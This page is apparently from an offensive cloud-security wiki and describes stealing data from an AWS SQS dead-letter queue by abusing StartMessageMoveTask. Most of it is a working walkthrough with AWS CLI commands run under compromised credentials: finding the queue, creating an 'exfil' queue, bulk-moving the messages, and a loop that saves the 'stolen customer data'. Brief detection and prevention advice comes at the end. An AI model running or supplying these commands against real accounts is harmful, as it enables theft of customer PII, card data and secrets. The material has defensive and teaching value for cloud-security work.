# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

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## Description

Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.

## What is a Dead-Letter Queue (DLQ)?

A Dead-Letter Queue is a special SQS queue where messages are automatically sent when they fail to be processed successfully by the main application. These failed messages often contain:
- Sensitive application data that couldn't be processed
- Error details and debugging information  
- Personal Identifiable Information (PII)
- API tokens, credentials, or other secrets
- Business-critical transaction data

DLQs act as a "graveyard" for failed messages, making them valuable targets since they accumulate sensitive data over time that applications couldn't handle properly.

## Attack Scenario

**Real-world example:**
1. **E-commerce application** processes customer orders through SQS
2. **Some orders fail** (payment issues, inventory problems, etc.) and get moved to a DLQ
3. **DLQ accumulates** weeks/months of failed orders containing customer data: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Attacker gains access** to AWS credentials with SQS permissions
5. **Attacker discovers** the DLQ contains thousands of failed orders with sensitive data
6. **Instead of trying to access individual messages** (slow and obvious), attacker uses `StartMessageMoveTask` to bulk transfer ALL messages to their own queue
7. **Attacker extracts** all historical sensitive data in one operation

## Requirements
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
- IAM permissions (run as the compromised victim principal):
  - On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
  - On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
  - If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.

## Impact
**Potential Impact**: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application payloads) at high speed using native SQS APIs. Works cross-account if the destination queue policy allows `SendMessage` from the victim principal.

## How to Abuse

- Identify the victim DLQ ARN and ensure it is actually referenced as a DLQ by some queue (any queue is fine).
- Create or choose an attacker-controlled destination queue and get its ARN.
- Start a message move task from the victim DLQ to your destination queue.
- Monitor progress or cancel if needed.

### CLI Example: Exfiltrating Customer Data from E-commerce DLQ

**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.

1) **Discover and examine the victim DLQ**

```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
  --attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847" 
```

2) **Create attacker-controlled destination queue**

```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```

3) **Execute the bulk message theft**

```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
  --source-arn "$SRC_ARN" \
  --destination-arn "$ATTACKER_Q_ARN" \
  --max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```

4) **Harvest the stolen sensitive data**

```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
  --attribute-names All --message-attribute-names All \
  --max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
  MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
    --max-number-of-messages 10 --wait-time-seconds 2 --output json)
  
  if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
    echo "No more messages - exfiltration complete!"
    break
  fi
  
  echo "Received batch of stolen data..."
  # Process/save the stolen customer data
  echo "$MESSAGES" >> stolen_customer_data.json
done
```

### Cross-account notes
- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions).

## Why This Attack is Effective

1. **Legitimate AWS Feature**: Uses built-in AWS functionality, making it hard to detect as malicious
2. **Bulk Operation**: Transfers thousands of messages quickly instead of slow individual access
3. **Historical Data**: DLQs accumulate sensitive data over weeks/months
4. **Under the Radar**: Many organizations don't monitor DLQ access closely
5. **Cross-Account Capable**: Can exfiltrate to attacker's own AWS account if permissions allow

## Detection and Prevention

### Detection
Monitor CloudTrail for suspicious `StartMessageMoveTask` API calls:
```json
{
  "eventName": "StartMessageMoveTask",
  "sourceIPAddress": "suspicious-ip",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "compromised-user"
  },
  "requestParameters": {
    "sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
    "destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
  }
}
```

### Prevention
1. **Least Privilege**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles
2. **Monitor DLQs**: Set up CloudWatch alarms for unusual DLQ activity
3. **Cross-Account Policies**: Carefully review SQS queue policies allowing cross-account access
4. **Encrypt DLQs**: Use SSE-KMS with restricted key policies
5. **Regular Cleanup**: Don't let sensitive data accumulate in DLQs indefinitely

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